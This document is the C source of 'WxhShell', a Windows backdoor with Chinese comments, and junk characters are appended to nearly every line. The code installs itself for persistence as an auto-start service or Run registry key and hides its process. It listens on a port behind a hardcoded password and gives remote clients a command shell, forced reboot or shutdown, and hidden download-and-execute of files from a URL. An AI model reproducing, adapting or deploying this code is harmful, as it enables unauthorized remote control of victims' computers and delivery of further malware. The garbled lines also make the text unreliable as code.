    closesocket(wsh); nSHNis  
    ExitThread(0); <n\i>A3`,S  
    } \OT6L'l],  
    break; PV(4$I}  
    } WI{; #A  
  // 关机 djfU:$!j&  
  case 'd': { aDh|48}X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9>;} /*:H  
    if(Boot(SHUTDOWN)) 8 ip^]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Z$?^gn  
    else { bJPJ.+G7  
    closesocket(wsh); 6uqUiRs()  
    ExitThread(0); x)$2nonM  
    } >8(jW  
    break; (2tH"I  
    } F<gMUDB  
  // 获取shell #N$9u"8C  
  case 's': { <%&_#<C)  
    CmdShell(wsh); h;nQxmJ9  
    closesocket(wsh); Z0W0uP;J  
    ExitThread(0); W "k| K:  
    break; + KP_yUq[  
  } 7f* RM  
  // 退出 lC4PKm no  
  case 'x': { kP?_kMOx  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K[]K53Nk  
    CloseIt(wsh); cWM:  
    break; kV+ R5R  
    } ~ aA;<#  
  // 离开 zofx+g\(W  
  case 'q': { x0ne8NDP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ai9  
    closesocket(wsh); a'A s  
    WSACleanup(); 6KO(j/Gwp  
    exit(1); U6c@Et,  
    break; ^)<w*iqBD  
        } t}~UYG( h~  
  } {=iyK/Uf  
  } tah }^  
bw5T2wYZ  
  // 提示信息 b5S7{"<V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z7k$0&  
} KSsWjF}d  
  } ]5)"gL%H`  
sv`"\3N[  
  return;  p[Hr39o  
} /=/ HB  
9 rS, ?  
// shell模块句柄 }AJ L,Q7q  
int CmdShell(SOCKET sock) L#!$hq9{_  
{ Gk 6fO  
STARTUPINFO si; K:a3+k d  
ZeroMemory(&si,sizeof(si)); ])UwC-l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b!,ja?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O]bKNA.5  
PROCESS_INFORMATION ProcessInfo; bQj`g2eyM  
char cmdline[]="cmd"; .R\p[rv&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); = hhvmo  
  return 0; ThiN9! Y  
} eo ?Oir)  
o?y"]RCM  
// 自身启动模式 o$t &MST?i  
int StartFromService(void) 0O[l?e4,8{  
{ - f 4>MG  
typedef struct 5QOZ%9E&M  
{ Bz:&f46{  
  DWORD ExitStatus; %p*`h43;  
  DWORD PebBaseAddress; cyBW0wV1  
  DWORD AffinityMask; *l {4lu  
  DWORD BasePriority; \imp7}N  
  ULONG UniqueProcessId; 2m_H*1 HJ  
  ULONG InheritedFromUniqueProcessId; SM$\;)L  
}   PROCESS_BASIC_INFORMATION; ?yf_Dt  
nd;O(s;  
PROCNTQSIP NtQueryInformationProcess; )tvc/)&A}  
@7-D7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eVrNYa1>H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &1~Re.* B  
ET3 ,9+Gj  
  HANDLE             hProcess; H4 =IY  
  PROCESS_BASIC_INFORMATION pbi; pagC(F  
[WYJrk.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Zik m?(J  
  if(NULL == hInst ) return 0; WSS(Bm|B  
/3s@6Ex}E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,[^o9u uB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >j- b5g"g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Bu' :2"7  
y+= \z*9  
  if (!NtQueryInformationProcess) return 0; K)Ge  
oW8;^u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y/H8+0sEk  
  if(!hProcess) return 0; 0OEtU5lf`y  
a0 qj[+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0$!.c~  
Etdd\^  
  CloseHandle(hProcess); ?nY/, q&  
|NXFla  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >H8^0n)?  
if(hProcess==NULL) return 0; (KZUvsSk  
bnIf}ut-G  
HMODULE hMod; 7;~ 2e  
char procName[255]; uz8nRS s  
unsigned long cbNeeded; IK85D>00T  
aQC 7V!v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W%w82@'  
:K?iNZqWN6  
  CloseHandle(hProcess); V.+DP  
N%: D8\qx  
if(strstr(procName,"services")) return 1; // 以服务启动 (]o FB$  
 PVS\,  
  return 0; // 注册表启动 MV7}  
} #xDDh`  
A=y24m  
// 主模块 *'s&/vEy  
int StartWxhshell(LPSTR lpCmdLine) U. NeK{  
{ (gFQ K[  
  SOCKET wsl;  ;I[ .  
BOOL val=TRUE; !Mm+bWn=mB  
  int port=0;  j@s=ER  
  struct sockaddr_in door; <1v{[F_  
%9fa98>  
  if(wscfg.ws_autoins) Install(); :+kg4v&r  
QJb7U5:B+  
port=atoi(lpCmdLine); )WzGy~p8K  
\;4L~_2$q  
if(port<=0) port=wscfg.ws_port; 9_I[o.q   
HE8'N=0  
  WSADATA data; Z:W')Nd(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BHIZHp  
,K"r:)\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :5q^\xmmq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ayB=|*Q"  
  door.sin_family = AF_INET; hlY S=cgY=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y0R\u\b  
  door.sin_port = htons(port); 5M/%%Ox  
zzDNWPzsA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^^20vwq  
closesocket(wsl); 'M]CZ}  
return 1; 5p N08+  
} 7=9A_4G!  
xF\}.OfWG  
  if(listen(wsl,2) == INVALID_SOCKET) { Jv '3](  
closesocket(wsl); 3}.mp}K 5  
return 1; ][T9IAn  
} )j)y5_m  
  Wxhshell(wsl); ru(?a~lF8~  
  WSACleanup(); 9OO0Ht4j  
`Lb _J  
return 0; 9g<_JcN  
*IjdN,wox  
} ^"6D0!'N  
[5}cU{M  
// 以NT服务方式启动 \6nQ-S_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vh:UXE lm  
{ GSUOMy[M-  
DWORD   status = 0; 4`EvEv$i  
  DWORD   specificError = 0xfffffff;  \!' {-J  
Y`[HjS,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {U+9,6.`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sbq44L)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z!Pdivx  
  serviceStatus.dwWin32ExitCode     = 0; O #p)~V8~  
  serviceStatus.dwServiceSpecificExitCode = 0; 7kWZMi  
  serviceStatus.dwCheckPoint       = 0; t"!8  
  serviceStatus.dwWaitHint       = 0; Xoa <r9  
s K$Sar  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S3JygN*  
  if (hServiceStatusHandle==0) return; rwV u?W  
:BrnRW64  
status = GetLastError(); p1`'1`.3  
  if (status!=NO_ERROR) ~n]2)>6  
{ 5D02%U2N)G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B2Awdw3=g  
    serviceStatus.dwCheckPoint       = 0; MIMPJXT#.  
    serviceStatus.dwWaitHint       = 0; 9O 0  
    serviceStatus.dwWin32ExitCode     = status; dM@k(9|  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7=M'n;!Mh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S92 !jp/  
    return; OB? 79l  
  }  vCH v  
fAA@ziKg  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WTy8N  
  serviceStatus.dwCheckPoint       = 0; uvK%d\d  
  serviceStatus.dwWaitHint       = 0; YQ[&h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /EAQ.vxI  
} BOl$UJ|K  
 M$-(4 0  
// 处理NT服务事件,比如:启动、停止 ^Ihdq89t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Uc%`? +Q  
{ OmUw.VH  
switch(fdwControl) ] !*  
{ q'8@0FT0  
case SERVICE_CONTROL_STOP: _$jJpy  
  serviceStatus.dwWin32ExitCode = 0; ~6kA<(x   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Tk@g9\6O9  
  serviceStatus.dwCheckPoint   = 0; MAhPO!e5.  
  serviceStatus.dwWaitHint     = 0; /n3&e  
  { 2W-NCE%K)T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gS o(PW)  
  } qZ]VS/5A  
  return; ST [1'T+L  
case SERVICE_CONTROL_PAUSE: ';L^mxh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @IKe<{w  
  break; u2x=YUWb]  
case SERVICE_CONTROL_CONTINUE: (/P&;?j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J,M5<s[Xqt  
  break; !?-5 hh1\  
case SERVICE_CONTROL_INTERROGATE: V$F.`O!hfi  
  break; s\1_-D5]Z  
}; s/&]gj "  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tS\NO@E_Jh  
} qN,FX#DP  
ML"P"&~u6  
// 标准应用程序主函数 U$JIF/MO_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) WMl^XZO  
{ ~acK$.#  
DWxh{h">  
// 获取操作系统版本 KIl.?_61O  
OsIsNt=GetOsVer(); scEQDV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y_YIJ@  
c89vx 9  
  // 从命令行安装 LsZ!':LN  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]TprPU39  
,ST.pu8N.  
  // 下载执行文件 05LQh  
if(wscfg.ws_downexe) { g*imswj7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +( (31l  
  WinExec(wscfg.ws_filenam,SW_HIDE); v!9Imf  
} &bgi0)>  
_%%"Y}  
if(!OsIsNt) { yC*BOJS  
// 如果时win9x,隐藏进程并且设置为注册表启动 8mddI  
HideProc(); E }j8p_p  
StartWxhshell(lpCmdLine); p+D 6Z'B  
} 8J U~Q  
else <5vB{)Tq  
  if(StartFromService()) 2,nCGSfc  
  // 以服务方式启动 X_@@v|UF  
  StartServiceCtrlDispatcher(DispatchTable); =_6h{f&Q  
else '+tT$k  
  // 普通方式启动 F;@&uXYgc  
  StartWxhshell(lpCmdLine); {# _C  
o_m.MMEU  
return 0; 4ux5G`oL  
} o^6j(~  
 IomJo  
^C| 9K>M  
>iJuR.:OO  
=========================================== J :(\o=5 5  
`:O.g9  
Y\\nJuJo  
|%;txD  
+N_%|!F-c  
U# B  
" TvwIro  
W RaO.3Q@.  
#include <stdio.h> +[9"M+4-  
#include <string.h> ]~ UkD*Ct  
#include <windows.h> ob #XKL  
#include <winsock2.h> Ma#-'J  
#include <winsvc.h> 6<nO2GW  
#include <urlmon.h> ir#^5e @  
\M@8# k|  
#pragma comment (lib, "Ws2_32.lib") v}D!  
#pragma comment (lib, "urlmon.lib") 'YZs6rcJ  
B35f 5m7r  
#define MAX_USER   100 // 最大客户端连接数 WE]^w3n9  
#define BUF_SOCK   200 // sock buffer c Zr4  
#define KEY_BUFF   255 // 输入 buffer &nP rozC  
*[n^6)  
#define REBOOT     0   // 重启 :[3\jLrc  
#define SHUTDOWN   1   // 关机 `<d>C}9  
g2q=&eI"  
#define DEF_PORT   5000 // 监听端口 lh5d6VUA  
XU7bWafy  
#define REG_LEN     16   // 注册表键长度 RoZV6U~  
#define SVC_LEN     80   // NT服务名长度 p6)UR~9Rs  
0f1#T gX  
// 从dll定义API bHnQLJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); eGil`:JY"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jU$PO\UTk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5WYU&8+]{:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i\G3 u#  
u'p J 9>sC  
// wxhshell配置信息 r N7"%dx  
struct WSCFG { `fyAV@X  
  int ws_port;         // 监听端口 p%-9T>og  
  char ws_passstr[REG_LEN]; // 口令 qfU3Cwy  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9h{G1XL  
  char ws_regname[REG_LEN]; // 注册表键名 r "R\  
  char ws_svcname[REG_LEN]; // 服务名 #UQ[8e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Xk$lQMwZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Jk*MxlA.b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ($kwlj~c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xjN~Y D:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [6|vx},N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Up&q#vqIj  
b}:Z(L,\  
}; &bRH(yF  
?x @khzk  
// default Wxhshell configuration ]!N5jbA@  
struct WSCFG wscfg={DEF_PORT, $((<le5-)  
    "xuhuanlingzhe", w3@ te\  
    1, 2wd(0K}b  
    "Wxhshell", _,^sI%  
    "Wxhshell", k$UBZ,=iC  
            "WxhShell Service", LsXYvX  
    "Wrsky Windows CmdShell Service", o2~x'*A0I  
    "Please Input Your Password: ", }W<L;yD  
  1, N5\<w>  
  "http://www.wrsky.com/wxhshell.exe", 7@FB^[H:y  
  "Wxhshell.exe" P*SXfb"HC  
    }; =EKJ!{  
i ,'~Ds  
// 消息定义模块 -AX3Rnv^!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R|suBF3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TO.NCO\x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [3.rG!Na  
char *msg_ws_ext="\n\rExit."; )~`zjVx_  
char *msg_ws_end="\n\rQuit."; xn"g_2Hi  
char *msg_ws_boot="\n\rReboot..."; <da! #12L  
char *msg_ws_poff="\n\rShutdown..."; MPt7 /  
char *msg_ws_down="\n\rSave to "; &eg,*K}'  
,"'agg:St  
char *msg_ws_err="\n\rErr!"; t]x HM  
char *msg_ws_ok="\n\rOK!"; G 1$l%B  
GYYro&aq{  
char ExeFile[MAX_PATH]; 7,1idY%cy  
int nUser = 0; iB?@(10}ES  
HANDLE handles[MAX_USER]; *%O1d.,  
int OsIsNt; u7mj  
(/Ubw4unI  
SERVICE_STATUS       serviceStatus; yhIg)/?L  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BWs\'B  
s+[=nau('w  
// 函数声明 \c]/4C +/  
int Install(void); )L{\k$r!EM  
int Uninstall(void); +,MzD'(D  
int DownloadFile(char *sURL, SOCKET wsh); BjH(E'K[b  
int Boot(int flag); <ESAoY"RPN  
void HideProc(void); e9 NHbq  
int GetOsVer(void); ' 9,}N:p  
int Wxhshell(SOCKET wsl); zm e:U![  
void TalkWithClient(void *cs); eN$~@'w  
int CmdShell(SOCKET sock); 982$d<0%  
int StartFromService(void); VYF4q9  
int StartWxhshell(LPSTR lpCmdLine); D,hl+P{^K  
Ev()2 80  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WV8<gx`Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (p. 5J  
L^=>)\R2$[  
// 数据结构和表定义 B4.hJZ5  
SERVICE_TABLE_ENTRY DispatchTable[] = +b{\v1b  
{ iz'8P-]K>  
{wscfg.ws_svcname, NTServiceMain},  *) wp  
{NULL, NULL} A$5T3j'  
}; %pMW5]H  
y|@^0]}%<  
// 自我安装 &pCKz[Yf+  
int Install(void) }{lOsZA  
{ nhIITfJJ  
  char svExeFile[MAX_PATH]; 7DI8r|~  
  HKEY key; ht1 jrCe  
  strcpy(svExeFile,ExeFile); |m=@;B|  
x[vX|oE!A  
// 如果是win9x系统,修改注册表设为自启动 pG" 4qw  
if(!OsIsNt) { B^6P 6,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7mu%|!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eSvu:euv  
  RegCloseKey(key); )X@(>b{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "aP/214Ul  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kh`X92~  
  RegCloseKey(key); rz3&khi  
  return 0; eQ*gnV}rE%  
    } M0^r!f>O  
  } {!-w|&bF  
} d>(dSKx  
else { xOkf 9k_  
rp _G.C  
// 如果是NT以上系统,安装为系统服务 A$-{WN.W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e\P+R>i0  
if (schSCManager!=0) Vbwbc5m}  
{ I&^?,Fyy<  
  SC_HANDLE schService = CreateService 0AaN  
  ( i G<|3I  
  schSCManager, ncWASw`  
  wscfg.ws_svcname, >CYg\vas!  
  wscfg.ws_svcdisp, )d s(/P5b  
  SERVICE_ALL_ACCESS, !1!uB }  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z\;kjI  
  SERVICE_AUTO_START, FMR0?\jnT  
  SERVICE_ERROR_NORMAL, x{+rx.  
  svExeFile, s_RYYaM  
  NULL, 5uu{f&?u)  
  NULL, KKOu":b  
  NULL, /1O6;'8He  
  NULL, K<V(h#(.@  
  NULL 6H3_q x  
  ); q6osRK*20  
  if (schService!=0) |R+=Yk&u  
  { Ue8_Q8q5  
  CloseServiceHandle(schService); 1Ce:<.99B  
  CloseServiceHandle(schSCManager); ;T/' CD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &*0!${ B  
  strcat(svExeFile,wscfg.ws_svcname); ,PY<AI^59  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zO!`sPP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \ 0:ITz  
  RegCloseKey(key); _Jx?m  
  return 0; >q]r)~8F^  
    } ~L?p/3m   
  } 'W$qi@f_s  
  CloseServiceHandle(schSCManager); {VI%]n{M  
} R/P.m~?  
} :CH'Bt4<  
/AWHG._  
return 1; u |#ruFR  
} I]T-}pG  
b cOX/  
// 自我卸载 lMP|$C  
int Uninstall(void) 0{Tf;a<  
{ 7\jH?Zi  
  HKEY key; HI:E&20y  
K<N0%c~  
if(!OsIsNt) { !WDdq_n*v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h#;yA"j1&  
  RegDeleteValue(key,wscfg.ws_regname); 's*UU:R  
  RegCloseKey(key); Q>||HtF$A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GTLlQy)'=  
  RegDeleteValue(key,wscfg.ws_regname); 'X`\vTxB  
  RegCloseKey(key); QI!:+8  
  return 0; m.lNKIknQ  
  } ,$CZ (GQ  
} !n !~Bw  
} iPE-j#|  
else { s'/ug  
@Wdnc/o]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d[ {=/~0  
if (schSCManager!=0) O:D`6U+0  
{ )Q9J,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $KtMv +m"  
  if (schService!=0) w}7`Vas9  
  { /@on=~  
  if(DeleteService(schService)!=0) { h~<#1'/<  
  CloseServiceHandle(schService); [;};qQ-C2  
  CloseServiceHandle(schSCManager); k9Yr&8B  
  return 0; W;j*lII  
  } k%c ?$n"  
  CloseServiceHandle(schService); /GCSC8T  
  } hX YVi6(k  
  CloseServiceHandle(schSCManager); `(16_a  
} _Z9I')  
} 23+>K  
XjL( V1  
return 1; SkN^ytKE  
} \QYs(nm?k  
K@ W~  
// 从指定url下载文件 w/Ia` Tx$  
int DownloadFile(char *sURL, SOCKET wsh) >Utn[']~  
{ nj)M$'  
  HRESULT hr; 4yjAi@ /2  
char seps[]= "/"; mo <g'|0  
char *token; /n(0nU[  
char *file; cj5p I?@e)  
char myURL[MAX_PATH]; {dCkiF  
char myFILE[MAX_PATH]; 7%L-;xcr]B  
4oCn F+(  
strcpy(myURL,sURL); <w08p*?  
  token=strtok(myURL,seps); /l@7MxE  
  while(token!=NULL) -cJ(iz9!  
  { #F[6$. Gr  
    file=token; ZH/|L?Q1U  
  token=strtok(NULL,seps); IzkZ^;(N  
  } Z<xSU?J  
h]G }E9\l  
GetCurrentDirectory(MAX_PATH,myFILE); Jd/ 5Kx  
strcat(myFILE, "\\"); ]uj H7T  
strcat(myFILE, file); <XGOcekG  
  send(wsh,myFILE,strlen(myFILE),0); %`%1W MO  
send(wsh,"...",3,0); |+ @  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F;`es%8  
  if(hr==S_OK) :|P"`j  
return 0; /|BzpIfpN  
else ;LthdY()n(  
return 1; h&.9Q{D  
>q4nQ/eP  
} C$M^<z  
r=8]Ub[  
// 系统电源模块 JA())0a  
int Boot(int flag) h4!$,%"''  
{ E70  
  HANDLE hToken; et/mfzV  
  TOKEN_PRIVILEGES tkp; !=I:Uc-Y  
R4p bi=  
  if(OsIsNt) { :cIE8<\%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O:pQf/Xn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3p$ZHH.UP  
    tkp.PrivilegeCount = 1; o %Pi;8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Pbd#Fu;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2-UZ|y  
if(flag==REBOOT) { S &cH1QZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [ZDJs`h!`  
  return 0; fJC)>doM  
} `hI1  
else { 0Rrz   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l.fNkLC#  
  return 0; k $3.FO"  
} irgjq/&d  
  } DpI_`TF#$Z  
  else { e7pN9tXGf  
if(flag==REBOOT) { k:`^KtBMl  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;MNEe% TJ  
  return 0; .#rI9op  
} K#+TCZ,  
else { Ba!`x<wa  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5j,)}AYO  
  return 0; }# w>>{Q  
} SS(jjpe&,  
} >Py;6K  
f5mk\^  
return 1; y#YCc{K [  
} 8t9sdqM/C  
P^VV8Z>\&  
// win9x进程隐藏模块 klv^310  
void HideProc(void) WNlWigwYl  
{ x/bO;9E%U4  
$P4hNb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ax'Dp{Q  
  if ( hKernel != NULL ) kX5v!pm[  
  { in(n[K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B YNOgB1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h, +2Mc<  
    FreeLibrary(hKernel); *N< 22w  
  } 78y4nRQ*  
O_(J',++  
return; {lx^57v  
} ~cU,3g  
C0KP,JS&  
// 获取操作系统版本 [G t|Qp[   
int GetOsVer(void) YC*S;q  
{ @iao"&  
  OSVERSIONINFO winfo; X B65,l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7QQ1oPV  
  GetVersionEx(&winfo); J cvK]x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;t[<!  
  return 1; 1u)I}"{W>  
  else &[23DrI8  
  return 0; aHwrFkn  
} |]\qI  
b`18y cVME  
// 客户端句柄模块 N ?0V0B  
int Wxhshell(SOCKET wsl) F-UY~i8  
{ jc)D*Cf  
  SOCKET wsh; y;sr# -L  
  struct sockaddr_in client; :mY(d6#A>  
  DWORD myID; 4`!(M]u=  
A3M)yWq  
  while(nUser<MAX_USER) [A[vR7&S  
{ 9K FWa0G  
  int nSize=sizeof(client); H[!by)H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *<s|WLMG  
  if(wsh==INVALID_SOCKET) return 1; CW, Kw  
TpZ)v.w~l7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >|uZIcs 6  
if(handles[nUser]==0) /v=MGX@r  
  closesocket(wsh); `')3}  
else O8 k$Uc  
  nUser++;  A5Y z|  
  } $+:_>n^#/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,58D=EgFy  
6S<J'9sE  
  return 0; </qXKEu`_  
} ~{RXc+  
e"[o2=v;5  
// 关闭 socket sq-[<ryk  
void CloseIt(SOCKET wsh) ks:Z=%o   
{ W}a&L  
closesocket(wsh); lN{-}f;TN  
nUser--; ~qco -b  
ExitThread(0); z.P) :Er  
} *,@dt+H!y  
^5j9WV  
// 客户端请求句柄 n\wO[l)  
void TalkWithClient(void *cs) |brl<*:  
{ fh}\#WE"  
f!0*^d  
  SOCKET wsh=(SOCKET)cs; (A/V(.!  
  char pwd[SVC_LEN]; I>b!4?h  
  char cmd[KEY_BUFF]; wUW+S5"K  
char chr[1]; qmv%N  
int i,j; "qR qEpD%  
zF3fpEKe  
  while (nUser < MAX_USER) { j01#Wq_\fk  
1[:?oEI  
if(wscfg.ws_passstr) { jrZM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !1w=_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G8Ns?  
  //ZeroMemory(pwd,KEY_BUFF); YRAWylm  
      i=0; NuLQkf)  
  while(i<SVC_LEN) { b P4R  
>N{K)a  
  // 设置超时 ?b:l.0m  
  fd_set FdRead; AQQeLdTq  
  struct timeval TimeOut; j%#n}H  
  FD_ZERO(&FdRead); [8(e`6xePb  
  FD_SET(wsh,&FdRead); BC 9rsb  
  TimeOut.tv_sec=8; al(t-3`<  
  TimeOut.tv_usec=0; 59F AhEg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1|q$Wn:*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g3Xq@RAJc  
@s b\0}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \%K< S  
  pwd=chr[0]; #Bj.#5  
  if(chr[0]==0xd || chr[0]==0xa) { fnN"a Z  
  pwd=0; jyb/aov  
  break; 27<~m=`}d  
  } D[-V1K&g  
  i++; [x kbzJ  
    } H3H3UIIT_  
`p|{(g'  
  // 如果是非法用户,关闭 socket \/xWsbG\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ugp[Ugr  
} `$ql>k-6C  
XkDjA#nx`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J'G 6Z7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )[.FUx  
pd?3_yU  
while(1) { K@)Hm\*  
-R?~Yysd7K  
  ZeroMemory(cmd,KEY_BUFF); m-xSF]q=<  
6FFQoE|n  
      // 自动支持客户端 telnet标准   Z@nWx]iz  
  j=0; l{[{pAm  
  while(j<KEY_BUFF) { w+)MrB-}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f"\G"2C  
  cmd[j]=chr[0]; T>7$<ulm  
  if(chr[0]==0xa || chr[0]==0xd) { {dM18;  
  cmd[j]=0; rvgArFf}]  
  break; 9tDo5 29  
  } 52 ? TLID  
  j++; _WO*N9Iz  
    } 2R66 WK Q  
kTZ`RW&0  
  // 下载文件 L  #c*)  
  if(strstr(cmd,"http://")) { +F= j1*'&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xdGmiHN  
  if(DownloadFile(cmd,wsh)) 2+y<&[A8U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }F=scbpXj  
  else -'ePx f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y3KKskhLx  
  } =m]|C1x  
